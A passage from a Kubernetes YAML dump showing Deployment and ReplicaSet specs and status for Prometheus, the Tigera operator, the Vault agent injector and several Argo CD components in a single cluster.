            failureThreshold: 3
            httpGet:
              path: /-/ready
              port: 9090
              scheme: HTTP
            initialDelaySeconds: 30
            periodSeconds: 5
            successThreshold: 1
            timeoutSeconds: 4
          resources: {}
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /etc/config
            name: config-volume
          - mountPath: /data
            name: storage-volume
        dnsPolicy: ClusterFirst
        enableServiceLinks: true
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext:
          fsGroup: 65534
          runAsGroup: 65534
          runAsNonRoot: true
          runAsUser: 65534
        serviceAccount: prometheus-community-server
        serviceAccountName: prometheus-community-server
        terminationGracePeriodSeconds: 300
        volumes:
        - configMap:
            defaultMode: 420
            name: prometheus-community-server
          name: config-volume
        - name: storage-volume
          persistentVolumeClaim:
            claimName: prometheus-community-server
  status:
    availableReplicas: 1
    conditions:
    - lastTransitionTime: "2025-09-26T14:49:44Z"
      lastUpdateTime: "2025-09-26T14:50:22Z"
      message: ReplicaSet "prometheus-community-server-7c866c8b56" has successfully
        progressed.
      reason: NewReplicaSetAvailable
      status: "True"
      type: Progressing
    - lastTransitionTime: "2025-11-29T13:25:24Z"
      lastUpdateTime: "2025-11-29T13:25:24Z"
      message: Deployment has minimum availability.
      reason: MinimumReplicasAvailable
      status: "True"
      type: Available
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
    updatedReplicas: 1
- apiVersion: apps/v1
  kind: Deployment
  metadata:
    annotations:
      deployment.kubernetes.io/revision: "1"
    creationTimestamp: "2025-10-19T16:11:25Z"
    generation: 1
    labels:
      k8s-app: tigera-operator
    name: tigera-operator
    namespace: tigera-operator
    resourceVersion: "18045913"
    uid: d3c91db9-3bf1-490b-b420-4703894fd832
  spec:
    progressDeadlineSeconds: 600
    replicas: 1
    revisionHistoryLimit: 10
    selector:
      matchLabels:
        name: tigera-operator
    strategy:
      rollingUpdate:
        maxSurge: 25%
        maxUnavailable: 25%
      type: RollingUpdate
    template:
      metadata:
        creationTimestamp: null
        labels:
          k8s-app: tigera-operator
          name: tigera-operator
      spec:
        containers:
        - args:
          - -manage-crds=true
          command:
          - operator
          env:
          - name: WATCH_NAMESPACE
          - name: POD_NAME
            valueFrom:
              fieldRef:
                apiVersion: v1
                fieldPath: metadata.name
          - name: OPERATOR_NAME
            value: tigera-operator
          - name: TIGERA_OPERATOR_INIT_IMAGE_VERSION
            value: v1.38.7
          envFrom:
          - configMapRef:
              name: kubernetes-services-endpoint
              optional: true
          image: quay.io/tigera/operator:v1.38.7
          imagePullPolicy: IfNotPresent
          name: tigera-operator
          resources: {}
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /var/lib/calico
            name: var-lib-calico
            readOnly: true
        dnsPolicy: ClusterFirstWithHostNet
        hostNetwork: true
        nodeSelector:
          kubernetes.io/os: linux
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext: {}
        serviceAccount: tigera-operator
        serviceAccountName: tigera-operator
        terminationGracePeriodSeconds: 60
        tolerations:
        - effect: NoExecute
          operator: Exists
        - effect: NoSchedule
          operator: Exists
        volumes:
        - hostPath:
            path: /var/lib/calico
            type: ""
          name: var-lib-calico
  status:
    availableReplicas: 1
    conditions:
    - lastTransitionTime: "2025-10-19T16:11:25Z"
      lastUpdateTime: "2025-10-19T16:11:33Z"
      message: ReplicaSet "tigera-operator-7dcd859c48" has successfully progressed.
      reason: NewReplicaSetAvailable
      status: "True"
      type: Progressing
    - lastTransitionTime: "2025-11-29T14:24:40Z"
      lastUpdateTime: "2025-11-29T14:24:40Z"
      message: Deployment has minimum availability.
      reason: MinimumReplicasAvailable
      status: "True"
      type: Available
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
    updatedReplicas: 1
- apiVersion: apps/v1
  kind: Deployment
  metadata:
    annotations:
      deployment.kubernetes.io/revision: "1"
      meta.helm.sh/release-name: vault
      meta.helm.sh/release-namespace: vault
    creationTimestamp: "2025-09-22T18:24:00Z"
    generation: 1
    labels:
      app.kubernetes.io/instance: vault
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: vault-agent-injector
      component: webhook
    name: vault-agent-injector
    namespace: vault
    resourceVersion: "18007848"
    uid: c5b56567-bba2-4b83-b1b7-65acdb07006e
  spec:
    progressDeadlineSeconds: 600
    replicas: 1
    revisionHistoryLimit: 10
    selector:
      matchLabels:
        app.kubernetes.io/instance: vault
        app.kubernetes.io/name: vault-agent-injector
        component: webhook
    strategy:
      rollingUpdate:
        maxSurge: 25%
        maxUnavailable: 25%
      type: RollingUpdate
    template:
      metadata:
        creationTimestamp: null
        labels:
          app.kubernetes.io/instance: vault
          app.kubernetes.io/name: vault-agent-injector
          component: webhook
      spec:
        affinity:
          podAntiAffinity:
            requiredDuringSchedulingIgnoredDuringExecution:
            - labelSelector:
                matchLabels:
                  app.kubernetes.io/instance: vault
                  app.kubernetes.io/name: vault-agent-injector
                  component: webhook
              topologyKey: kubernetes.io/hostname
        containers:
        - args:
          - agent-inject
          - 2>&1
          env:
          - name: AGENT_INJECT_LISTEN
            value: :8080
          - name: AGENT_INJECT_LOG_LEVEL
            value: info
          - name: AGENT_INJECT_VAULT_ADDR
            value: http://vault.vault.svc:8200
          - name: AGENT_INJECT_VAULT_AUTH_PATH
            value: auth/kubernetes
          - name: AGENT_INJECT_VAULT_IMAGE
            value: hashicorp/vault:1.20.1
          - name: AGENT_INJECT_TLS_AUTO
            value: vault-agent-injector-cfg
          - name: AGENT_INJECT_TLS_AUTO_HOSTS
            value: vault-agent-injector-svc,vault-agent-injector-svc.vault,vault-agent-injector-svc.vault.svc
          - name: AGENT_INJECT_LOG_FORMAT
            value: standard
          - name: AGENT_INJECT_REVOKE_ON_SHUTDOWN
            value: "false"
          - name: AGENT_INJECT_CPU_REQUEST
            value: 250m
          - name: AGENT_INJECT_CPU_LIMIT
            value: 500m
          - name: AGENT_INJECT_MEM_REQUEST
            value: 64Mi
          - name: AGENT_INJECT_MEM_LIMIT
            value: 128Mi
          - name: AGENT_INJECT_DEFAULT_TEMPLATE
            value: map
          - name: AGENT_INJECT_TEMPLATE_CONFIG_EXIT_ON_RETRY_FAILURE
            value: "true"
          - name: POD_NAME
            valueFrom:
              fieldRef:
                apiVersion: v1
                fieldPath: metadata.name
          image: hashicorp/vault-k8s:1.7.0
          imagePullPolicy: IfNotPresent
          livenessProbe:
            failureThreshold: 2
            httpGet:
              path: /health/ready
              port: 8080
              scheme: HTTPS
            initialDelaySeconds: 5
            periodSeconds: 2
            successThreshold: 1
            timeoutSeconds: 5
          name: sidecar-injector
          readinessProbe:
            failureThreshold: 2
            httpGet:
              path: /health/ready
              port: 8080
              scheme: HTTPS
            initialDelaySeconds: 5
            periodSeconds: 2
            successThreshold: 1
            timeoutSeconds: 5
          resources: {}
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
          startupProbe:
            failureThreshold: 12
            httpGet:
              path: /health/ready
              port: 8080
              scheme: HTTPS
            initialDelaySeconds: 5
            periodSeconds: 5
            successThreshold: 1
            timeoutSeconds: 5
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
        dnsPolicy: ClusterFirst
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext:
          fsGroup: 1000
          runAsGroup: 1000
          runAsNonRoot: true
          runAsUser: 100
        serviceAccount: vault-agent-injector
        serviceAccountName: vault-agent-injector
        terminationGracePeriodSeconds: 30
  status:
    availableReplicas: 1
    conditions:
    - lastTransitionTime: "2025-09-22T18:24:00Z"
      lastUpdateTime: "2025-09-22T18:24:20Z"
      message: ReplicaSet "vault-agent-injector-6ffc786d9f" has successfully progressed.
      reason: NewReplicaSetAvailable
      status: "True"
      type: Progressing
    - lastTransitionTime: "2025-11-29T11:13:21Z"
      lastUpdateTime: "2025-11-29T11:13:21Z"
      message: Deployment has minimum availability.
      reason: MinimumReplicasAvailable
      status: "True"
      type: Available
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
    updatedReplicas: 1
- apiVersion: apps/v1
  kind: ReplicaSet
  metadata:
    annotations:
      deployment.kubernetes.io/desired-replicas: "1"
      deployment.kubernetes.io/max-replicas: "2"
      deployment.kubernetes.io/revision: "1"
      meta.helm.sh/release-name: argocd
      meta.helm.sh/release-namespace: argocd
    creationTimestamp: "2025-09-21T20:15:18Z"
    generation: 1
    labels:
      app.kubernetes.io/component: applicationset-controller
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-applicationset-controller
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      helm.sh/chart: argo-cd-8.5.3
      pod-template-hash: 6dc687dfdb
    name: argocd-applicationset-controller-6dc687dfdb
    namespace: argocd
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: Deployment
      name: argocd-applicationset-controller
      uid: c73c2939-abb7-4c32-88a2-7eee204cb742
    resourceVersion: "18033652"
    uid: f0682505-5a91-4bbb-980f-1549fd520aab
  spec:
    replicas: 1
    selector:
      matchLabels:
        app.kubernetes.io/instance: argocd
        app.kubernetes.io/name: argocd-applicationset-controller
        pod-template-hash: 6dc687dfdb
    template:
      metadata:
        annotations:
          checksum/cmd-params: 20eb358fd76fa408b8b22c58322f8864b35364bf9c00b03459e1b73f564e1bf9
        creationTimestamp: null
        labels:
          app.kubernetes.io/component: applicationset-controller
          app.kubernetes.io/instance: argocd
          app.kubernetes.io/managed-by: Helm
          app.kubernetes.io/name: argocd-applicationset-controller
          app.kubernetes.io/part-of: argocd
          app.kubernetes.io/version: v3.1.6
          helm.sh/chart: argo-cd-8.5.3
          pod-template-hash: 6dc687dfdb
      spec:
        affinity:
          podAntiAffinity:
            preferredDuringSchedulingIgnoredDuringExecution:
            - podAffinityTerm:
                labelSelector:
                  matchLabels:
                    app.kubernetes.io/name: argocd-applicationset-controller
                topologyKey: kubernetes.io/hostname
              weight: 100
        automountServiceAccountToken: true
        containers:
        - args:
          - /usr/local/bin/argocd-applicationset-controller
          - --metrics-addr=:8080
          - --probe-addr=:8081
          - --webhook-addr=:7000
          env:
          - name: NAMESPACE
            valueFrom:
              fieldRef:
                apiVersion: v1
                fieldPath: metadata.namespace
          - name: ARGOCD_APPLICATIONSET_CONTROLLER_GLOBAL_PRESERVED_ANNOTATIONS
            valueFrom:
              configMapKeyRef:
                key: applicationsetcontroller.global.preserved.annotations
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATIONSET_CONTROLLER_GLOBAL_PRESERVED_LABELS
            valueFrom:
              configMapKeyRef:
                key: applicationsetcontroller.global.preserved.labels
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATIONSET_CONTROLLER_ENABLE_LEADER_ELECTION
            valueFrom:
              configMapKeyRef:
                key: applicationsetcontroller.enable.leader.election
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATIONSET_CONTROLLER_REPO_SERVER
            valueFrom:
              configMapKeyRef:
                key: repo.server
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATIONSET_CONTROLLER_POLICY
            valueFrom:
              configMapKeyRef:
                key: applicationsetcontroller.policy
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATIONSET_CONTROLLER_ENABLE_POLICY_OVERRIDE
            valueFrom:
              configMapKeyRef:
                key: applicationsetcontroller.enable.policy.override
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATIONSET_CONTROLLER_DEBUG
            valueFrom:
              configMapKeyRef:
                key: applicationsetcontroller.debug
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATIONSET_CONTROLLER_LOGFORMAT
            valueFrom:
              configMapKeyRef:
                key: applicationsetcontroller.log.format
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATIONSET_CONTROLLER_LOGLEVEL
            valueFrom:
              configMapKeyRef:
                key: applicationsetcontroller.log.level
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_LOG_FORMAT_TIMESTAMP
            valueFrom:
              configMapKeyRef:
                key: log.format.timestamp
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATIONSET_CONTROLLER_DRY_RUN
            valueFrom:
              configMapKeyRef:
                key: applicationsetcontroller.dryrun
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_GIT_MODULES_ENABLED
            valueFrom:
              configMapKeyRef:
                key: applicationsetcontroller.enable.git.submodule
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATIONSET_CONTROLLER_ENABLE_PROGRESSIVE_SYNCS
            valueFrom:
              configMapKeyRef:
                key: applicationsetcontroller.enable.progressive.syncs
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATIONSET_CONTROLLER_TOKENREF_STRICT_MODE
            valueFrom:
              configMapKeyRef:
                key: applicationsetcontroller.enable.tokenref.strict.mode
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATIONSET_CONTROLLER_ENABLE_NEW_GIT_FILE_GLOBBING
            valueFrom:
              configMapKeyRef:
                key: applicationsetcontroller.enable.new.git.file.globbing
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATIONSET_CONTROLLER_REPO_SERVER_PLAINTEXT
            valueFrom:
              configMapKeyRef:
                key: applicationsetcontroller.repo.server.plaintext
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATIONSET_CONTROLLER_REPO_SERVER_STRICT_TLS
            valueFrom:
              configMapKeyRef:
                key: applicationsetcontroller.repo.server.strict.tls
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATIONSET_CONTROLLER_REPO_SERVER_TIMEOUT_SECONDS
            valueFrom:
              configMapKeyRef:
                key: applicationsetcontroller.repo.server.timeout.seconds
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATIONSET_CONTROLLER_CONCURRENT_RECONCILIATIONS
            valueFrom:
              configMapKeyRef:
                key: applicationsetcontroller.concurrent.reconciliations.max
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATIONSET_CONTROLLER_NAMESPACES
            valueFrom:
              configMapKeyRef:
                key: applicationsetcontroller.namespaces
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATIONSET_CONTROLLER_SCM_ROOT_CA_PATH
            valueFrom:
              configMapKeyRef:
                key: applicationsetcontroller.scm.root.ca.path
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATIONSET_CONTROLLER_ALLOWED_SCM_PROVIDERS
            valueFrom:
              configMapKeyRef:
                key: applicationsetcontroller.allowed.scm.providers
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATIONSET_CONTROLLER_ENABLE_SCM_PROVIDERS
            valueFrom:
              configMapKeyRef:
                key: applicationsetcontroller.enable.scm.providers
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATIONSET_CONTROLLER_ENABLE_GITHUB_API_METRICS
            valueFrom:
              configMapKeyRef:
                key: applicationsetcontroller.enable.github.api.metrics
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATIONSET_CONTROLLER_WEBHOOK_PARALLELISM_LIMIT
            valueFrom:
              configMapKeyRef:
                key: applicationsetcontroller.webhook.parallelism.limit
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATIONSET_CONTROLLER_REQUEUE_AFTER
            valueFrom:
              configMapKeyRef:
                key: applicationsetcontroller.requeue.after
                name: argocd-cmd-params-cm
                optional: true
          image: quay.io/argoproj/argocd:v3.1.6
          imagePullPolicy: IfNotPresent
          name: applicationset-controller
          ports:
          - containerPort: 8080
            name: metrics
            protocol: TCP
          - containerPort: 8081
            name: probe
            protocol: TCP
          - containerPort: 7000
            name: webhook
            protocol: TCP
          resources: {}
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            readOnlyRootFilesystem: true
            runAsNonRoot: true
            seccompProfile:
              type: RuntimeDefault
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /app/config/ssh
            name: ssh-known-hosts
          - mountPath: /app/config/tls
            name: tls-certs
          - mountPath: /app/config/gpg/source
            name: gpg-keys
          - mountPath: /app/config/gpg/keys
            name: gpg-keyring
          - mountPath: /app/config/reposerver/tls
            name: argocd-repo-server-tls
          - mountPath: /tmp
            name: tmp
        dnsPolicy: ClusterFirst
        nodeSelector:
          kubernetes.io/os: linux
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext: {}
        serviceAccount: argocd-applicationset-controller
        serviceAccountName: argocd-applicationset-controller
        terminationGracePeriodSeconds: 30
        volumes:
        - configMap:
            defaultMode: 420
            name: argocd-ssh-known-hosts-cm
          name: ssh-known-hosts
        - configMap:
            defaultMode: 420
            name: argocd-tls-certs-cm
          name: tls-certs
        - configMap:
            defaultMode: 420
            name: argocd-gpg-keys-cm
          name: gpg-keys
        - emptyDir: {}
          name: gpg-keyring
        - emptyDir: {}
          name: tmp
        - name: argocd-repo-server-tls
          secret:
            defaultMode: 420
            items:
            - key: tls.crt
              path: tls.crt
            - key: tls.key
              path: tls.key
            - key: ca.crt
              path: ca.crt
            optional: true
            secretName: argocd-repo-server-tls
  status:
    availableReplicas: 1
    fullyLabeledReplicas: 1
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
- apiVersion: apps/v1
  kind: ReplicaSet
  metadata:
    annotations:
      deployment.kubernetes.io/desired-replicas: "1"
      deployment.kubernetes.io/max-replicas: "2"
      deployment.kubernetes.io/revision: "1"
      meta.helm.sh/release-name: argocd
      meta.helm.sh/release-namespace: argocd
    creationTimestamp: "2025-09-21T20:15:18Z"
    generation: 1
    labels:
      app.kubernetes.io/component: dex-server
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-dex-server
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      helm.sh/chart: argo-cd-8.5.3
      pod-template-hash: 6559c6dd79
    name: argocd-dex-server-6559c6dd79
    namespace: argocd
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: Deployment
      name: argocd-dex-server
      uid: fe61d3a1-09ef-4c18-a181-b386e967855d
    resourceVersion: "18033582"
    uid: f44bfaf9-3eeb-422a-a777-c678e0b6bb01
  spec:
    replicas: 1
    selector:
      matchLabels:
        app.kubernetes.io/instance: argocd
        app.kubernetes.io/name: argocd-dex-server
        pod-template-hash: 6559c6dd79
    template:
      metadata:
        annotations:
          checksum/cmd-params: 20eb358fd76fa408b8b22c58322f8864b35364bf9c00b03459e1b73f564e1bf9
        creationTimestamp: null
        labels:
          app.kubernetes.io/component: dex-server
          app.kubernetes.io/instance: argocd
          app.kubernetes.io/managed-by: Helm
          app.kubernetes.io/name: argocd-dex-server
          app.kubernetes.io/part-of: argocd
          app.kubernetes.io/version: v3.1.6
          helm.sh/chart: argo-cd-8.5.3
          pod-template-hash: 6559c6dd79
      spec:
        affinity:
          podAntiAffinity:
            preferredDuringSchedulingIgnoredDuringExecution:
            - podAffinityTerm:
                labelSelector:
                  matchLabels:
                    app.kubernetes.io/name: argocd-dex-server
                topologyKey: kubernetes.io/hostname
              weight: 100
        automountServiceAccountToken: true
        containers:
        - args:
          - rundex
          command:
          - /shared/argocd-dex
          env:
          - name: ARGOCD_DEX_SERVER_LOGFORMAT
            valueFrom:
              configMapKeyRef:
                key: dexserver.log.format
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_DEX_SERVER_LOGLEVEL
            valueFrom:
              configMapKeyRef:
                key: dexserver.log.level
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_LOG_FORMAT_TIMESTAMP
            valueFrom:
              configMapKeyRef:
                key: log.format.timestamp
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_DEX_SERVER_DISABLE_TLS
            valueFrom:
              configMapKeyRef:
                key: dexserver.disable.tls
                name: argocd-cmd-params-cm
                optional: true
          image: ghcr.io/dexidp/dex:v2.44.0
          imagePullPolicy: IfNotPresent
          name: dex-server
          ports:
          - containerPort: 5556
            name: http
            protocol: TCP
          - containerPort: 5557
            name: grpc
            protocol: TCP
          - containerPort: 5558
            name: metrics
            protocol: TCP
          resources: {}
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            readOnlyRootFilesystem: true
            runAsNonRoot: true
            seccompProfile:
              type: RuntimeDefault
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /shared
            name: static-files
          - mountPath: /tmp
            name: dexconfig
          - mountPath: /tls
            name: argocd-dex-server-tls
        dnsPolicy: ClusterFirst
        initContainers:
        - command:
          - /bin/cp
          - -n
          - /usr/local/bin/argocd
          - /shared/argocd-dex
          image: quay.io/argoproj/argocd:v3.1.6
          imagePullPolicy: IfNotPresent
          name: copyutil
          resources: {}
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            readOnlyRootFilesystem: true
            runAsNonRoot: true
            seccompProfile:
              type: RuntimeDefault
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /shared
            name: static-files
          - mountPath: /tmp
            name: dexconfig
        nodeSelector:
          kubernetes.io/os: linux
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext: {}
        serviceAccount: argocd-dex-server
        serviceAccountName: argocd-dex-server
        terminationGracePeriodSeconds: 30
        volumes:
        - emptyDir: {}
          name: static-files
        - emptyDir: {}
          name: dexconfig
        - name: argocd-dex-server-tls
          secret:
            defaultMode: 420
            items:
            - key: tls.crt
              path: tls.crt
            - key: tls.key
              path: tls.key
            - key: ca.crt
              path: ca.crt
            optional: true
            secretName: argocd-dex-server-tls
  status:
    availableReplicas: 1
    fullyLabeledReplicas: 1
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
- apiVersion: apps/v1
  kind: ReplicaSet
  metadata:
    annotations:
      deployment.kubernetes.io/desired-replicas: "1"
      deployment.kubernetes.io/max-replicas: "1"
      deployment.kubernetes.io/revision: "1"
      meta.helm.sh/release-name: argocd
      meta.helm.sh/release-namespace: argocd
    creationTimestamp: "2025-09-21T20:15:18Z"
    generation: 1
    labels:
      app.kubernetes.io/component: notifications-controller
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-notifications-controller
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      helm.sh/chart: argo-cd-8.5.3
      pod-template-hash: 6f78679858
    name: argocd-notifications-controller-6f78679858
    namespace: argocd
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: Deployment
      name: argocd-notifications-controller
      uid: 84c01790-6f8d-4a04-925e-a3b9794d384a
    resourceVersion: "18034080"
    uid: cdb76f48-b59a-4b7d-a5b9-1febd6d17b94
  spec:
    replicas: 1
    selector:
      matchLabels:
        app.kubernetes.io/instance: argocd
        app.kubernetes.io/name: argocd-notifications-controller
        pod-template-hash: 6f78679858
    template:
      metadata:
        creationTimestamp: null
        labels:
          app.kubernetes.io/component: notifications-controller
          app.kubernetes.io/instance: argocd
          app.kubernetes.io/managed-by: Helm
          app.kubernetes.io/name: argocd-notifications-controller
          app.kubernetes.io/part-of: argocd
          app.kubernetes.io/version: v3.1.6
          helm.sh/chart: argo-cd-8.5.3
          pod-template-hash: 6f78679858
      spec:
        affinity:
          podAntiAffinity:
            preferredDuringSchedulingIgnoredDuringExecution:
            - podAffinityTerm:
                labelSelector:
                  matchLabels:
                    app.kubernetes.io/name: argocd-notifications-controller
                topologyKey: kubernetes.io/hostname
              weight: 100
        automountServiceAccountToken: true
        containers:
        - args:
          - /usr/local/bin/argocd-notifications
          - --metrics-port=9001
          - --namespace=argocd
          - --argocd-repo-server=argocd-repo-server:8081
          - --secret-name=argocd-notifications-secret
          env:
          - name: ARGOCD_NOTIFICATIONS_CONTROLLER_LOGLEVEL
            valueFrom:
              configMapKeyRef:
                key: notificationscontroller.log.level
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_NOTIFICATIONS_CONTROLLER_LOGFORMAT
            valueFrom:
              configMapKeyRef:
                key: notificationscontroller.log.format
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_LOG_FORMAT_TIMESTAMP
            valueFrom:
              configMapKeyRef:
                key: log.format.timestamp
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATION_NAMESPACES
            valueFrom:
              configMapKeyRef:
                key: application.namespaces
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_NOTIFICATION_CONTROLLER_SELF_SERVICE_NOTIFICATION_ENABLED
            valueFrom:
              configMapKeyRef:
                key: notificationscontroller.selfservice.enabled
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_NOTIFICATION_CONTROLLER_REPO_SERVER_PLAINTEXT
            valueFrom:
              configMapKeyRef:
                key: notificationscontroller.repo.server.plaintext
                name: argocd-cmd-params-cm
                optional: true
          image: quay.io/argoproj/argocd:v3.1.6
          imagePullPolicy: IfNotPresent
          name: notifications-controller
          ports:
          - containerPort: 9001
            name: metrics
            protocol: TCP
          resources: {}
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            readOnlyRootFilesystem: true
            runAsNonRoot: true
            seccompProfile:
              type: RuntimeDefault
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /app/config/tls
            name: tls-certs
          - mountPath: /app/config/reposerver/tls
            name: argocd-repo-server-tls
          workingDir: /app
        dnsPolicy: ClusterFirst
        nodeSelector:
          kubernetes.io/os: linux
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext: {}
        serviceAccount: argocd-notifications-controller
        serviceAccountName: argocd-notifications-controller
        terminationGracePeriodSeconds: 30
        volumes:
        - configMap:
            defaultMode: 420
            name: argocd-tls-certs-cm
          name: tls-certs
        - name: argocd-repo-server-tls
          secret:
            defaultMode: 420
            items:
            - key: tls.crt
              path: tls.crt
            - key: tls.key
              path: tls.key
            - key: ca.crt
              path: ca.crt
            optional: true
            secretName: argocd-repo-server-tls
  status:
    availableReplicas: 1
    fullyLabeledReplicas: 1
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
- apiVersion: apps/v1
  kind: ReplicaSet
  metadata:
    annotations:
      deployment.kubernetes.io/desired-replicas: "1"
      deployment.kubernetes.io/max-replicas: "2"
      deployment.kubernetes.io/revision: "1"
      meta.helm.sh/release-name: argocd
      meta.helm.sh/release-namespace: argocd
    creationTimestamp: "2025-09-21T20:15:18Z"
    generation: 1
    labels:
      app.kubernetes.io/component: redis
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-redis
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      helm.sh/chart: argo-cd-8.5.3
      pod-template-hash: 946cd9d9f
    name: argocd-redis-946cd9d9f
    namespace: argocd
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: Deployment
      name: argocd-redis
      uid: a35962cd-f970-4689-aab8-7d088abe31c1
    resourceVersion: "18046329"
    uid: af25881a-ffec-4cbd-b032-32253a91cd50
  spec:
    replicas: 1
    selector:
      matchLabels:
        app.kubernetes.io/name: argocd-redis
        pod-template-hash: 946cd9d9f
    template:
      metadata:
        creationTimestamp: null
        labels:
          app.kubernetes.io/component: redis
          app.kubernetes.io/instance: argocd
          app.kubernetes.io/managed-by: Helm
          app.kubernetes.io/name: argocd-redis
          app.kubernetes.io/part-of: argocd
          app.kubernetes.io/version: v3.1.6
          helm.sh/chart: argo-cd-8.5.3
          pod-template-hash: 946cd9d9f
      spec:
        affinity:
          podAntiAffinity:
            preferredDuringSchedulingIgnoredDuringExecution:
            - podAffinityTerm:
                labelSelector:
                  matchLabels:
                    app.kubernetes.io/name: argocd-redis
                topologyKey: kubernetes.io/hostname
              weight: 100
        automountServiceAccountToken: true
        containers:
        - args:
          - --save
          - ""
          - --appendonly
          - "no"
          - --requirepass $(REDIS_PASSWORD)
          env:
          - name: REDIS_PASSWORD
            valueFrom:
              secretKeyRef:
                key: auth
                name: argocd-redis
          image: ecr-public.aws.com/docker/library/redis:7.2.8-alpine
          imagePullPolicy: IfNotPresent
          name: redis
          ports:
          - containerPort: 6379
            name: redis
            protocol: TCP
          resources: {}
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            readOnlyRootFilesystem: true
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /health
            name: health
        dnsPolicy: ClusterFirst
        nodeSelector:
          kubernetes.io/os: linux
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext:
          runAsNonRoot: true
          runAsUser: 999
          seccompProfile:
            type: RuntimeDefault
        serviceAccount: default
        serviceAccountName: default
        terminationGracePeriodSeconds: 30
        volumes:
        - configMap:
            defaultMode: 493
            name: argocd-redis-health-configmap
          name: health
  status:
    availableReplicas: 1
    fullyLabeledReplicas: 1
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
- apiVersion: apps/v1
  kind: ReplicaSet
  metadata:
    annotations:
      deployment.kubernetes.io/desired-replicas: "1"
      deployment.kubernetes.io/max-replicas: "2"
      deployment.kubernetes.io/revision: "1"
      meta.helm.sh/release-name: argocd
      meta.helm.sh/release-namespace: argocd
